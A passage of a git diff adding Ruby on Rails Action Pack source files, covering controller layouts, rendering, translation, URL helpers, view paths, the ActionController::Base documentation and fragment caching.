+ name_clause = if name
+ default_behavior
+ else
+ <<-RUBY
+ super
+ RUBY
+ end
+
+ layout_definition = case _layout
+ when String
+ _layout.inspect
+ when Symbol
+ <<-RUBY
+ #{_layout}.tap do |layout|
+ return #{default_behavior} if layout.nil?
+ unless layout.is_a?(String) || !layout
+ raise ArgumentError, "Your layout method :#{_layout} returned \#{layout}. It " \
+ "should have returned a String, false, or nil"
+ end
+ end
+ RUBY
+ when Proc
+ define_method :_layout_from_proc, &_layout
+ protected :_layout_from_proc
+ <<-RUBY
+ result = _layout_from_proc(#{_layout.arity == 0 ? '' : 'self'})
+ return #{default_behavior} if result.nil?
+ result
+ RUBY
+ when false
+ nil
+ when true
+ raise ArgumentError, "Layouts must be specified as a String, Symbol, Proc, false, or nil"
+ when nil
+ name_clause
+ end
+
+ self.class_eval <<-RUBY, __FILE__, __LINE__ + 1
+ def _layout
+ if _conditional_layout?
+ #{layout_definition}
+ else
+ #{name_clause}
+ end
+ end
+ private :_layout
+ RUBY
+ end
+ end
+
+ def _normalize_options(options) # :nodoc:
+ super
+
+ if _include_layout?(options)
+ layout = options.delete(:layout) { :default }
+ options[:layout] = _layout_for_option(layout)
+ end
+ end
+
+ attr_internal_writer :action_has_layout
+
+ def initialize(*) # :nodoc:
+ @_action_has_layout = true
+ super
+ end
+
+ # Controls whether an action should be rendered using a layout.
+ # If you want to disable any <tt>layout</tt> settings for the
+ # current action so that it is rendered without a layout then
+ # either override this method in your controller to return false
+ # for that action or set the <tt>action_has_layout</tt> attribute
+ # to false before rendering.
+ def action_has_layout?
+ @_action_has_layout
+ end
+
+ private
+
+ def _conditional_layout?
+ true
+ end
+
+ # This will be overwritten by _write_layout_method
+ def _layout; end
+
+ # Determine the layout for a given name, taking into account the name type.
+ #
+ # ==== Parameters
+ # * <tt>name</tt> - The name of the template
+ def _layout_for_option(name)
+ case name
+ when String then _normalize_layout(name)
+ when Proc then name
+ when true then Proc.new { _default_layout(true) }
+ when :default then Proc.new { _default_layout(false) }
+ when false, nil then nil
+ else
+ raise ArgumentError,
+ "String, Proc, :default, true, or false, expected for `layout'; you passed #{name.inspect}"
+ end
+ end
+
+ def _normalize_layout(value)
+ value.is_a?(String) && value !~ /\blayouts/ ? "layouts/#{value}" : value
+ end
+
+ # Returns the default layout for this controller.
+ # Optionally raises an exception if the layout could not be found.
+ #
+ # ==== Parameters
+ # * <tt>require_layout</tt> - If set to true and layout is not found,
+ # an ArgumentError exception is raised (defaults to false)
+ #
+ # ==== Returns
+ # * <tt>template</tt> - The template object for the default layout (or nil)
+ def _default_layout(require_layout = false)
+ begin
+ value = _layout if action_has_layout?
+ rescue NameError => e
+ raise e, "Could not render layout: #{e.message}"
+ end
+
+ if require_layout && action_has_layout? && !value
+ raise ArgumentError,
+ "There was no default layout for #{self.class} in #{view_paths.inspect}"
+ end
+
+ _normalize_layout(value)
+ end
+
+ def _include_layout?(options)
+ (options.keys & [:text, :inline, :partial]).empty? || options.key?(:layout)
+ end
+ end
+end
diff --git a/actionpack/lib/abstract_controller/logger.rb b/actionpack/lib/abstract_controller/logger.rb
new file mode 100644
index 0000000..c31ea6c
--- /dev/null
+++ b/actionpack/lib/abstract_controller/logger.rb
@@ -0,0 +1,12 @@
+require "active_support/benchmarkable"
+
+module AbstractController
+ module Logger #:nodoc:
+ extend ActiveSupport::Concern
+
+ included do
+ config_accessor :logger
+ include ActiveSupport::Benchmarkable
+ end
+ end
+end
diff --git a/actionpack/lib/abstract_controller/railties/routes_helpers.rb b/actionpack/lib/abstract_controller/railties/routes_helpers.rb
new file mode 100644
index 0000000..6684f46
--- /dev/null
+++ b/actionpack/lib/abstract_controller/railties/routes_helpers.rb
@@ -0,0 +1,18 @@
+module AbstractController
+ module Railties
+ module RoutesHelpers
+ def self.with(routes)
+ Module.new do
+ define_method(:inherited) do |klass|
+ super(klass)
+ if namespace = klass.parents.detect { |m| m.respond_to?(:railtie_routes_url_helpers) }
+ klass.send(:include, namespace.railtie_routes_url_helpers)
+ else
+ klass.send(:include, routes.url_helpers)
+ end
+ end
+ end
+ end
+ end
+ end
+end
diff --git a/actionpack/lib/abstract_controller/rendering.rb b/actionpack/lib/abstract_controller/rendering.rb
new file mode 100644
index 0000000..3f34add
--- /dev/null
+++ b/actionpack/lib/abstract_controller/rendering.rb
@@ -0,0 +1,196 @@
+require "abstract_controller/base"
+require "action_view"
+
+module AbstractController
+ class DoubleRenderError < Error
+ DEFAULT_MESSAGE = "Render and/or redirect were called multiple times in this action. Please note that you may only call render OR redirect, and at most once per action. Also note that neither redirect nor render terminate execution of the action, so if you want to exit an action after redirecting, you need to do something like \"redirect_to(...) and return\"."
+
+ def initialize(message = nil)
+ super(message || DEFAULT_MESSAGE)
+ end
+ end
+
+ # This is a class to fix I18n global state. Whenever you provide I18n.locale during a request,
+ # it will trigger the lookup_context and consequently expire the cache.
+ class I18nProxy < ::I18n::Config #:nodoc:
+ attr_reader :original_config, :lookup_context
+
+ def initialize(original_config, lookup_context)
+ original_config = original_config.original_config if original_config.respond_to?(:original_config)
+ @original_config, @lookup_context = original_config, lookup_context
+ end
+
+ def locale
+ @original_config.locale
+ end
+
+ def locale=(value)
+ @lookup_context.locale = value
+ end
+ end
+
+ module Rendering
+ extend ActiveSupport::Concern
+ include AbstractController::ViewPaths
+
+ included do
+ class_attribute :protected_instance_variables
+ self.protected_instance_variables = []
+ end
+
+ # Overwrite process to setup I18n proxy.
+ def process(*) #:nodoc:
+ old_config, I18n.config = I18n.config, I18nProxy.new(I18n.config, lookup_context)
+ super
+ ensure
+ I18n.config = old_config
+ end
+
+ module ClassMethods
+ def view_context_class
+ @view_context_class ||= begin
+ routes = respond_to?(:_routes) && _routes
+ helpers = respond_to?(:_helpers) && _helpers
+
+ Class.new(ActionView::Base) do
+ if routes
+ include routes.url_helpers
+ include routes.mounted_helpers
+ end
+
+ if helpers
+ include helpers
+ end
+ end
+ end
+ end
+ end
+
+ attr_internal_writer :view_context_class
+
+ def view_context_class
+ @_view_context_class ||= self.class.view_context_class
+ end
+
+ # An instance of a view class. The default view class is ActionView::Base
+ #
+ # The view class must have the following methods:
+ # View.new[lookup_context, assigns, controller]
+ # Create a new ActionView instance for a controller
+ # View#render[options]
+ # Returns String with the rendered template
+ #
+ # Override this method in a module to change the default behavior.
+ def view_context
+ view_context_class.new(view_renderer, view_assigns, self)
+ end
+
+ # Returns an object that is able to render templates.
+ def view_renderer
+ @_view_renderer ||= ActionView::Renderer.new(lookup_context)
+ end
+
+ # Normalize arguments, options and then delegates render_to_body and
+ # sticks the result in self.response_body.
+ def render(*args, &block)
+ options = _normalize_render(*args, &block)
+ self.response_body = render_to_body(options)
+ end
+
+ # Raw rendering of a template to a string.
+ #
+ # It is similar to render, except that it does not
+ # set the response_body and it should be guaranteed
+ # to always return a string.
+ #
+ # If a component extends the semantics of response_body
+ # (as Action Controller extends it to be anything that
+ # responds to the method each), this method needs to be
+ # overridden in order to still return a string.
+ # :api: plugin
+ def render_to_string(*args, &block)
+ options = _normalize_render(*args, &block)
+ render_to_body(options)
+ end
+
+ # Raw rendering of a template.
+ # :api: plugin
+ def render_to_body(options = {})
+ _process_options(options)
+ _render_template(options)
+ end
+
+ # Find and renders a template based on the options given.
+ # :api: private
+ def _render_template(options) #:nodoc:
+ lookup_context.rendered_format = nil if options[:formats]
+ view_renderer.render(view_context, options)
+ end
+
+ DEFAULT_PROTECTED_INSTANCE_VARIABLES = [
+ :@_action_name, :@_response_body, :@_formats, :@_prefixes, :@_config,
+ :@_view_context_class, :@_view_renderer, :@_lookup_context
+ ]
+
+ # This method should return a hash with assigns.
+ # You can overwrite this configuration per controller.
+ # :api: public
+ def view_assigns
+ hash = {}
+ variables = instance_variables
+ variables -= protected_instance_variables
+ variables -= DEFAULT_PROTECTED_INSTANCE_VARIABLES
+ variables.each { |name| hash[name[1..-1]] = instance_variable_get(name) }
+ hash
+ end
+
+ private
+
+ # Normalize args and options.
+ # :api: private
+ def _normalize_render(*args, &block)
+ options = _normalize_args(*args, &block)
+ _normalize_options(options)
+ options
+ end
+
+ # Normalize args by converting render "foo" to render :action => "foo" and
+ # render "foo/bar" to render :file => "foo/bar".
+ # :api: plugin
+ def _normalize_args(action=nil, options={})
+ case action
+ when NilClass
+ when Hash
+ options = action
+ when String, Symbol
+ action = action.to_s
+ key = action.include?(?/) ? :file : :action
+ options[key] = action
+ else
+ options[:partial] = action
+ end
+
+ options
+ end
+
+ # Normalize options.
+ # :api: plugin
+ def _normalize_options(options)
+ if options[:partial] == true
+ options[:partial] = action_name
+ end
+
+ if (options.keys & [:partial, :file, :template]).empty?
+ options[:prefixes] ||= _prefixes
+ end
+
+ options[:template] ||= (options[:action] || action_name).to_s
+ options
+ end
+
+ # Process extra options.
+ # :api: plugin
+ def _process_options(options)
+ end
+ end
+end
diff --git a/actionpack/lib/abstract_controller/translation.rb b/actionpack/lib/abstract_controller/translation.rb
new file mode 100644
index 0000000..02028d8
--- /dev/null
+++ b/actionpack/lib/abstract_controller/translation.rb
@@ -0,0 +1,28 @@
+module AbstractController
+ module Translation
+ # Delegates to <tt>I18n.translate</tt>. Also aliased as <tt>t</tt>.
+ #
+ # When the given key starts with a period, it will be scoped by the current
+ # controller and action. So if you call <tt>translate(".foo")</tt> from
+ # <tt>PeopleController#index</tt>, it will convert the call to
+ # <tt>I18n.translate("people.index.foo")</tt>. This makes it less repetitive
+ # to translate many keys within the same controller / action and gives you a
+ # simple framework for scoping them consistently.
+ def translate(*args)
+ key = args.first
+ if key.is_a?(String) && (key[0] == '.')
+ key = "#{ controller_path.tr('/', '.') }.#{ action_name }#{ key }"
+ args[0] = key
+ end
+
+ I18n.translate(*args)
+ end
+ alias :t :translate
+
+ # Delegates to <tt>I18n.localize</tt>. Also aliased as <tt>l</tt>.
+ def localize(*args)
+ I18n.localize(*args)
+ end
+ alias :l :localize
+ end
+end
diff --git a/actionpack/lib/abstract_controller/url_for.rb b/actionpack/lib/abstract_controller/url_for.rb
new file mode 100644
index 0000000..4a95e1f
--- /dev/null
+++ b/actionpack/lib/abstract_controller/url_for.rb
@@ -0,0 +1,33 @@
+module AbstractController
+ # Includes +url_for+ into the host class (e.g. an abstract controller or mailer). The class
+ # has to provide a +RouteSet+ by implementing the <tt>_routes</tt> methods. Otherwise, an
+ # exception will be raised.
+ #
+ # Note that this module is completely decoupled from HTTP - the only requirement is a valid
+ # <tt>_routes</tt> implementation.
+ module UrlFor
+ extend ActiveSupport::Concern
+ include ActionDispatch::Routing::UrlFor
+
+ def _routes
+ raise "In order to use #url_for, you must include routing helpers explicitly. " \
+ "For instance, `include Rails.application.routes.url_helpers"
+ end
+
+ module ClassMethods
+ def _routes
+ nil
+ end
+
+ def action_methods
+ @action_methods ||= begin
+ if _routes
+ super - _routes.named_routes.helper_names
+ else
+ super
+ end
+ end
+ end
+ end
+ end
+end
diff --git a/actionpack/lib/abstract_controller/view_paths.rb b/actionpack/lib/abstract_controller/view_paths.rb
new file mode 100644
index 0000000..c08b3a0
--- /dev/null
+++ b/actionpack/lib/abstract_controller/view_paths.rb
@@ -0,0 +1,96 @@
+require 'action_view/base'
+
+module AbstractController
+ module ViewPaths
+ extend ActiveSupport::Concern
+
+ included do
+ class_attribute :_view_paths
+ self._view_paths = ActionView::PathSet.new
+ self._view_paths.freeze
+ end
+
+ delegate :template_exists?, :view_paths, :formats, :formats=,
+ :locale, :locale=, :to => :lookup_context
+
+ module ClassMethods
+ def parent_prefixes
+ @parent_prefixes ||= begin
+ parent_controller = superclass
+ prefixes = []
+
+ until parent_controller.abstract?
+ prefixes << parent_controller.controller_path
+ parent_controller = parent_controller.superclass
+ end
+
+ prefixes
+ end
+ end
+ end
+
+ # The prefixes used in render "foo" shortcuts.
+ def _prefixes
+ @_prefixes ||= begin
+ parent_prefixes = self.class.parent_prefixes
+ parent_prefixes.dup.unshift(controller_path)
+ end
+ end
+
+ # LookupContext is the object responsible to hold all information required to lookup
+ # templates, i.e. view paths and details. Check ActionView::LookupContext for more
+ # information.
+ def lookup_context
+ @_lookup_context ||=
+ ActionView::LookupContext.new(self.class._view_paths, details_for_lookup, _prefixes)
+ end
+
+ def details_for_lookup
+ { }
+ end
+
+ def append_view_path(path)
+ lookup_context.view_paths.push(*path)
+ end
+
+ def prepend_view_path(path)
+ lookup_context.view_paths.unshift(*path)
+ end
+
+ module ClassMethods
+ # Append a path to the list of view paths for this controller.
+ #
+ # ==== Parameters
+ # * <tt>path</tt> - If a String is provided, it gets converted into
+ # the default view path. You may also provide a custom view path
+ # (see ActionView::PathSet for more information)
+ def append_view_path(path)
+ self._view_paths = view_paths + Array(path)
+ end
+
+ # Prepend a path to the list of view paths for this controller.
+ #
+ # ==== Parameters
+ # * <tt>path</tt> - If a String is provided, it gets converted into
+ # the default view path. You may also provide a custom view path
+ # (see ActionView::PathSet for more information)
+ def prepend_view_path(path)
+ self._view_paths = ActionView::PathSet.new(Array(path) + view_paths)
+ end
+
+ # A list of all of the default view paths for this controller.
+ def view_paths
+ _view_paths
+ end
+
+ # Set the view paths.
+ #
+ # ==== Parameters
+ # * <tt>paths</tt> - If a PathSet is provided, use that;
+ # otherwise, process the parameter into a PathSet.
+ def view_paths=(paths)
+ self._view_paths = ActionView::PathSet.new(Array(paths))
+ end
+ end
+ end
+end
diff --git a/actionpack/lib/action_controller.rb b/actionpack/lib/action_controller.rb
new file mode 100644
index 0000000..9cacb38
--- /dev/null
+++ b/actionpack/lib/action_controller.rb
@@ -0,0 +1,74 @@
+require 'active_support/rails'
+require 'abstract_controller'
+require 'action_dispatch'
+require 'action_controller/metal/live'
+require 'action_controller/metal/strong_parameters'
+
+module ActionController
+ extend ActiveSupport::Autoload
+
+ autoload :Base
+ autoload :Caching
+ autoload :Metal
+ autoload :Middleware
+
+ autoload_under "metal" do
+ autoload :Compatibility
+ autoload :ConditionalGet
+ autoload :Cookies
+ autoload :DataStreaming
+ autoload :Flash
+ autoload :ForceSSL
+ autoload :Head
+ autoload :Helpers
+ autoload :HideActions
+ autoload :HttpAuthentication
+ autoload :ImplicitRender
+ autoload :Instrumentation
+ autoload :MimeResponds
+ autoload :ParamsWrapper
+ autoload :RackDelegation
+ autoload :Redirecting
+ autoload :Renderers
+ autoload :Rendering
+ autoload :RequestForgeryProtection
+ autoload :Rescue
+ autoload :Responder
+ autoload :Streaming
+ autoload :StrongParameters
+ autoload :Testing
+ autoload :UrlFor
+ end
+
+ autoload :Integration, 'action_controller/deprecated/integration_test'
+ autoload :IntegrationTest, 'action_controller/deprecated/integration_test'
+ autoload :Routing, 'action_controller/deprecated'
+ autoload :TestCase, 'action_controller/test_case'
+ autoload :TemplateAssertions, 'action_controller/test_case'
+
+ eager_autoload do
+ autoload :RecordIdentifier
+ end
+
+ def self.eager_load!
+ super
+ ActionController::Caching.eager_load!
+ HTML.eager_load!
+ end
+end
+
+# All of these simply register additional autoloads
+require 'action_view'
+require 'action_view/vendor/html-scanner'
+
+ActiveSupport.on_load(:action_view) do
+ ActionView::RoutingUrlFor.send(:include, ActionDispatch::Routing::UrlFor)
+end
+
+# Common Active Support usage in Action Controller
+require 'active_support/core_ext/class/attribute_accessors'
+require 'active_support/core_ext/load_error'
+require 'active_support/core_ext/module/attr_internal'
+require 'active_support/core_ext/name_error'
+require 'active_support/core_ext/uri'
+require 'active_support/inflector'
diff --git a/actionpack/lib/action_controller/base.rb b/actionpack/lib/action_controller/base.rb
new file mode 100644
index 0000000..971c418
--- /dev/null
+++ b/actionpack/lib/action_controller/base.rb
@@ -0,0 +1,259 @@
+require "action_controller/log_subscriber"
+require "action_controller/metal/params_wrapper"
+
+module ActionController
+ # Action Controllers are the core of a web request in \Rails. They are made up of one or more actions that are executed
+ # on request and then either render a template or redirect to another action. An action is defined as a public method
+ # on the controller, which will automatically be made accessible to the web-server through \Rails Routes.
+ #
+ # By default, only the ApplicationController in a \Rails application inherits from <tt>ActionController::Base</tt>. All other
+ # controllers in turn inherit from ApplicationController. This gives you one class to configure things such as
+ # request forgery protection and filtering of sensitive request parameters.
+ #
+ # A sample controller could look like this:
+ #
+ # class PostsController < ApplicationController
+ # def index
+ # @posts = Post.all
+ # end
+ #
+ # def create
+ # @post = Post.create params[:post]
+ # redirect_to posts_path
+ # end
+ # end
+ #
+ # Actions, by default, render a template in the <tt>app/views</tt> directory corresponding to the name of the controller and action
+ # after executing code in the action. For example, the +index+ action of the PostsController would render the
+ # template <tt>app/views/posts/index.html.erb</tt> by default after populating the <tt>@posts</tt> instance variable.
+ #
+ # Unlike index, the create action will not render a template. After performing its main purpose (creating a
+ # new post), it initiates a redirect instead. This redirect works by returning an external
+ # "302 Moved" HTTP response that takes the user to the index action.
+ #
+ # These two methods represent the two basic action archetypes used in Action Controllers. Get-and-show and do-and-redirect.
+ # Most actions are variations on these themes.
+ #
+ # == Requests
+ #
+ # For every request, the router determines the value of the +controller+ and +action+ keys. These determine which controller
+ # and action are called. The remaining request parameters, the session (if one is available), and the full request with
+ # all the HTTP headers are made available to the action through accessor methods. Then the action is performed.
+ #
+ # The full request object is available via the request accessor and is primarily used to query for HTTP headers:
+ #
+ # def server_ip
+ # location = request.env["SERVER_ADDR"]
+ # render text: "This server hosted at #{location}"
+ # end
+ #
+ # == Parameters
+ #
+ # All request parameters, whether they come from a GET or POST request, or from the URL, are available through the params method
+ # which returns a hash. For example, an action that was performed through <tt>/posts?category=All&limit=5</tt> will include
+ # <tt>{ "category" => "All", "limit" => "5" }</tt> in params.
+ #
+ # It's also possible to construct multi-dimensional parameter hashes by specifying keys using brackets, such as:
+ #
+ # <input type="text" name="post[name]" value="david">
+ # <input type="text" name="post[address]" value="hyacintvej">
+ #
+ # A request stemming from a form holding these inputs will include <tt>{ "post" => { "name" => "david", "address" => "hyacintvej" } }</tt>.
+ # If the address input had been named "post[address][street]", the params would have included
+ # <tt>{ "post" => { "address" => { "street" => "hyacintvej" } } }</tt>. There's no limit to the depth of the nesting.
+ #
+ # == Sessions
+ #
+ # Sessions allow you to store objects in between requests. This is useful for objects that are not yet ready to be persisted,
+ # such as a Signup object constructed in a multi-paged process, or objects that don't change much and are needed all the time, such
+ # as a User object for a system that requires login. The session should not be used, however, as a cache for objects where it's likely
+ # they could be changed unknowingly. It's usually too much work to keep it all synchronized -- something databases already excel at.
+ #
+ # You can place objects in the session by using the <tt>session</tt> method, which accesses a hash:
+ #
+ # session[:person] = Person.authenticate(user_name, password)
+ #
+ # And retrieved again through the same hash:
+ #
+ # Hello #{session[:person]}
+ #
+ # For removing objects from the session, you can either assign a single key to +nil+:
+ #
+ # # removes :person from session
+ # session[:person] = nil
+ #
+ # or you can remove the entire session with +reset_session+.
+ #
+ # Sessions are stored by default in a browser cookie that's cryptographically signed, but unencrypted.
+ # This prevents the user from tampering with the session but also allows him to see its contents.
+ #
+ # Do not put secret information in cookie-based sessions!
+ #
+ # == Responses
+ #
+ # Each action results in a response, which holds the headers and document to be sent to the user's browser. The actual response
+ # object is generated automatically through the use of renders and redirects and requires no user intervention.
+ #
+ # == Renders
+ #
+ # Action Controller sends content to the user by using one of five rendering methods. The most versatile and common is the rendering
+ # of a template. Included in the Action Pack is the Action View, which enables rendering of ERB templates. It's automatically configured.
+ # The controller passes objects to the view by assigning instance variables:
+ #
+ # def show
+ # @post = Post.find(params[:id])
+ # end
+ #
+ # Which are then automatically available to the view:
+ #
+ # Title: <%= @post.title %>
+ #
+ # You don't have to rely on the automated rendering. For example, actions that could result in the rendering of different templates
+ # will use the manual rendering methods:
+ #
+ # def search
+ # @results = Search.find(params[:query])
+ # case @results.count
+ # when 0 then render action: "no_results"
+ # when 1 then render action: "show"
+ # when 2..10 then render action: "show_many"
+ # end
+ # end
+ #
+ # Read more about writing ERB and Builder templates in ActionView::Base.
+ #
+ # == Redirects
+ #
+ # Redirects are used to move from one action to another. For example, after a <tt>create</tt> action, which stores a blog entry to the
+ # database, we might like to show the user the new entry. Because we're following good DRY principles (Don't Repeat Yourself), we're
+ # going to reuse (and redirect to) a <tt>show</tt> action that we'll assume has already been created. The code might look like this:
+ #
+ # def create
+ # @entry = Entry.new(params[:entry])
+ # if @entry.save
+ # # The entry was saved correctly, redirect to show
+ # redirect_to action: 'show', id: @entry.id
+ # else
+ # # things didn't go so well, do something else
+ # end
+ # end
+ #
+ # In this case, after saving our new entry to the database, the user is redirected to the <tt>show</tt> method, which is then executed.
+ # Note that this is an external HTTP-level redirection which will cause the browser to make a second request (a GET to the show action),
+ # and not some internal re-routing which calls both "create" and then "show" within one request.
+ #
+ # Learn more about <tt>redirect_to</tt> and what options you have in ActionController::Redirecting.
+ #
+ # == Calling multiple redirects or renders
+ #
+ # An action may contain only a single render or a single redirect. Attempting to try to do either again will result in a DoubleRenderError:
+ #
+ # def do_something
+ # redirect_to action: "elsewhere"
+ # render action: "overthere" # raises DoubleRenderError
+ # end
+ #
+ # If you need to redirect on the condition of something, then be sure to add "and return" to halt execution.
+ #
+ # def do_something
+ # redirect_to(action: "elsewhere") and return if monkeys.nil?
+ # render action: "overthere" # won't be called if monkeys is nil
+ # end
+ #
+ class Base < Metal
+ abstract!
+
+ # We document the request and response methods here because albeit they are
+ # implemented in ActionController::Metal, the type of the returned objects
+ # is unknown at that level.
+
+ ##
+ # :method: request
+ #
+ # Returns an ActionDispatch::Request instance that represents the
+ # current request.
+
+ ##
+ # :method: response
+ #
+ # Returns an ActionDispatch::Response that represents the current
+ # response.
+
+ # Shortcut helper that returns all the modules included in
+ # ActionController::Base except the ones passed as arguments:
+ #
+ # class MetalController
+ # ActionController::Base.without_modules(:ParamsWrapper, :Streaming).each do |left|
+ # include left
+ # end
+ # end
+ #
+ # This gives better control over what you want to exclude and makes it
+ # easier to create a bare controller class, instead of listing the modules
+ # required manually.
+ def self.without_modules(*modules)
+ modules = modules.map do |m|
+ m.is_a?(Symbol) ? ActionController.const_get(m) : m
+ end
+
+ MODULES - modules
+ end
+
+ MODULES = [
+ AbstractController::Layouts,
+ AbstractController::Translation,
+ AbstractController::AssetPaths,
+
+ Helpers,
+ HideActions,
+ UrlFor,
+ Redirecting,
+ Rendering,
+ Renderers::All,
+ ConditionalGet,
+ RackDelegation,
+ Caching,
+ MimeResponds,
+ ImplicitRender,
+ StrongParameters,
+
+ Cookies,
+ Flash,
+ RequestForgeryProtection,
+ ForceSSL,
+ Streaming,
+ DataStreaming,
+ RecordIdentifier,
+ HttpAuthentication::Basic::ControllerMethods,
+ HttpAuthentication::Digest::ControllerMethods,
+ HttpAuthentication::Token::ControllerMethods,
+
+ # Before callbacks should also be executed the earliest as possible, so
+ # also include them at the bottom.
+ AbstractController::Callbacks,
+
+ # Append rescue at the bottom to wrap as much as possible.
+ Rescue,
+
+ # Add instrumentations hooks at the bottom, to ensure they instrument
+ # all the methods properly.
+ Instrumentation,
+
+ # Params wrapper should come before instrumentation so they are
+ # properly showed in logs
+ ParamsWrapper
+ ]
+
+ MODULES.each do |mod|
+ include mod
+ end
+
+ # Define some internal variables that should not be propagated to the view.
+ self.protected_instance_variables = [
+ :@_status, :@_headers, :@_params, :@_env, :@_response, :@_request,
+ :@_view_runtime, :@_stream, :@_url_options, :@_action_has_layout
+ ]
+
+ ActiveSupport.run_load_hooks(:action_controller, self)
+ end
+end
diff --git a/actionpack/lib/action_controller/caching.rb b/actionpack/lib/action_controller/caching.rb
new file mode 100644
index 0000000..ea33d97
--- /dev/null
+++ b/actionpack/lib/action_controller/caching.rb
@@ -0,0 +1,99 @@
+require 'fileutils'
+require 'uri'
+require 'set'
+
+module ActionController
+ # \Caching is a cheap way of speeding up slow applications by keeping the result of
+ # calculations, renderings, and database calls around for subsequent requests.
+ #
+ # You can read more about each approach by clicking the modules below.
+ #
+ # Note: To turn off all caching, set
+ # config.action_controller.perform_caching = false.
+ #
+ # == \Caching stores
+ #
+ # All the caching stores from ActiveSupport::Cache are available to be used as backends
+ # for Action Controller caching.
+ #
+ # Configuration examples (MemoryStore is the default):
+ #
+ # config.action_controller.cache_store = :memory_store
+ # config.action_controller.cache_store = :file_store, '/path/to/cache/directory'
+ # config.action_controller.cache_store = :mem_cache_store, 'localhost'
+ # config.action_controller.cache_store = :mem_cache_store, Memcached::Rails.new('localhost:11211')
+ # config.action_controller.cache_store = MyOwnStore.new('parameter')
+ module Caching
+ extend ActiveSupport::Concern
+ extend ActiveSupport::Autoload
+
+ eager_autoload do
+ autoload :Fragments
+ end
+
+ module ConfigMethods
+ def cache_store
+ config.cache_store
+ end
+
+ def cache_store=(store)
+ config.cache_store = ActiveSupport::Cache.lookup_store(store)
+ end
+
+ private
+ def cache_configured?
+ perform_caching && cache_store
+ end
+ end
+
+ include RackDelegation
+ include AbstractController::Callbacks
+
+ include ConfigMethods
+ include Fragments
+
+ included do
+ extend ConfigMethods
+
+ config_accessor :default_static_extension
+ self.default_static_extension ||= '.html'
+
+ def self.page_cache_extension=(extension)
+ ActiveSupport::Deprecation.deprecation_warning(:page_cache_extension, :default_static_extension)
+ self.default_static_extension = extension
+ end
+
+ def self.page_cache_extension
+ ActiveSupport::Deprecation.deprecation_warning(:page_cache_extension, :default_static_extension)
+ default_static_extension
+ end
+
+ config_accessor :perform_caching
+ self.perform_caching = true if perform_caching.nil?
+
+ class_attribute :_view_cache_dependencies
+ self._view_cache_dependencies = []
+ helper_method :view_cache_dependencies if respond_to?(:helper_method)
+ end
+
+ module ClassMethods
+ def view_cache_dependency(&dependency)
+ self._view_cache_dependencies += [dependency]
+ end
+ end
+
+ def view_cache_dependencies
+ self.class._view_cache_dependencies.map { |dep| instance_exec(&dep) }.compact
+ end
+
+ protected
+ # Convenience accessor.
+ def cache(key, options = {}, &block)
+ if cache_configured?
+ cache_store.fetch(ActiveSupport::Cache.expand_cache_key(key, :controller), options, &block)
+ else
+ yield
+ end
+ end
+ end
+end
diff --git a/actionpack/lib/action_controller/caching/fragments.rb b/actionpack/lib/action_controller/caching/fragments.rb
new file mode 100644
index 0000000..879d5fd
--- /dev/null
+++ b/actionpack/lib/action_controller/caching/fragments.rb
@@ -0,0 +1,97 @@
+module ActionController
+ module Caching
+ # Fragment caching is used for caching various blocks within
+ # views without caching the entire action as a whole. This is
+ # useful when certain elements of an action change frequently or
+ # depend on complicated state while other parts rarely change or
+ # can be shared amongst multiple parties. The caching is done using
+ # the +cache+ helper available in the Action View. See
+ # ActionView::Helpers::CacheHelper for more information.
+ #
+ # While it's strongly recommended that you use key-based cache
+ # expiration (see links in CacheHelper for more information),
+ # it is also possible to manually expire caches. For example:
+ #
+ # expire_fragment('name_of_cache')
+ module Fragments
+ # Given a key (as described in +expire_fragment+), returns
+ # a key suitable for use in reading, writing, or expiring a
+ # cached fragment. All keys are prefixed with <tt>views/</tt> and uses
+ # ActiveSupport::Cache.expand_cache_key for the expansion.
+ def fragment_cache_key(key)
+ ActiveSupport::Cache.expand_cache_key(key.is_a?(Hash) ? url_for(key).split("://").last : key, :views)
+ end
+
+ # Writes +content+ to the location signified by
+ # +key+ (see +expire_fragment+ for acceptable formats).
+ def write_fragment(key, content, options = nil)
+ return content unless cache_configured?
+
+ key = fragment_cache_key(key)
+ instrument_fragment_cache :write_fragment, key do
+ content = content.to_str
+ cache_store.write(key, content, options)
+ end
+ content
+ end
+
+ # Reads a cached fragment from the location signified by +key+
+ # (see +expire_fragment+ for acceptable formats).
+ def read_fragment(key, options = nil)
+ return unless cache_configured?
+
+ key = fragment_cache_key(key)
+ instrument_fragment_cache :read_fragment, key do
+ result = cache_store.read(key, options)
+ result.respond_to?(:html_safe) ? result.html_safe : result
+ end
+ end
+
+ # Check if a cached fragment from the location signified by
+ # +key+ exists (see +expire_fragment+ for acceptable formats).
+ def fragment_exist?(key, options = nil)
+ return unless cache_configured?
+ key = fragment_cache_key(key)
+
+ instrument_fragment_cache :exist_fragment?, key do
+ cache_store.exist?(key, options)
+ end
+ end
+
+ # Removes fragments from the cache.
+ #
+ # +key+ can take one of three forms:
+ #
+ # * String - This would normally take the form of a path, like
+ # <tt>pages/45/notes</tt>.
+ # * Hash - Treated as an implicit call to +url_for+, like
+ # <tt>{ controller: 'pages', action: 'notes', id: 45}</tt>
+ # * Regexp - Will remove any fragment that matches, so
+ # <tt>%r{pages/\d*/notes}</tt> might remove all notes. Make sure you
+ # don't use anchors in the regex (<tt>^</tt> or <tt>$</tt>) because
+ # the actual filename matched looks like
+ # <tt>./cache/filename/path.cache</tt>. Note: Regexp expiration is
+ # only supported on caches that can iterate over all keys (unlike
+ # memcached).
+ #
+ # +options+ is passed through to the cache store's +delete+
+ # method (or <tt>delete_matched</tt>, for Regexp keys).
+ def expire_fragment(key, options = nil)
+ return unless cache_configured?
+ key = fragment_cache_key(key) unless key.is_a?(Regexp)
+
+ instrument_fragment_cache :expire_fragment, key do
+ if key.is_a?(Regexp)
+ cache_store.delete_matched(key, options)
+ else
+ cache_store.delete(key, options)
+ end
+ end
+ end
+
+ def instrument_fragment_cache(name, key) # :nodoc:
+ ActiveSupport::Notifications.instrument("#{name}.action_controller", :key => key){ yield }
+ end
+ end
+ end
+end
diff --git a/actionpack/lib/action_controller/deprecated.rb b/actionpack/lib/action_controller/deprecated.rb
new file mode 100644
index 0000000..2405beb
--- /dev/null
+++ b/actionpack/lib/action_controller/deprecated.rb
@@ -0,0 +1,7 @@
+ActionController::AbstractRequest = ActionController::Request = ActionDispatch::Request
+ActionController::AbstractResponse = ActionController::Response = ActionDispatch::Response
+ActionController::Routing = ActionDispatch::Routing
+
+ActiveSupport::Deprecation.warn 'ActionController::AbstractRequest and ActionController::Request are deprecated and will be removed, use ActionDispatch::Request instead.'
+ActiveSupport::Deprecation.warn 'ActionController::AbstractResponse and ActionController::Response are deprecated and will be removed, use ActionDispatch::Response instead.'
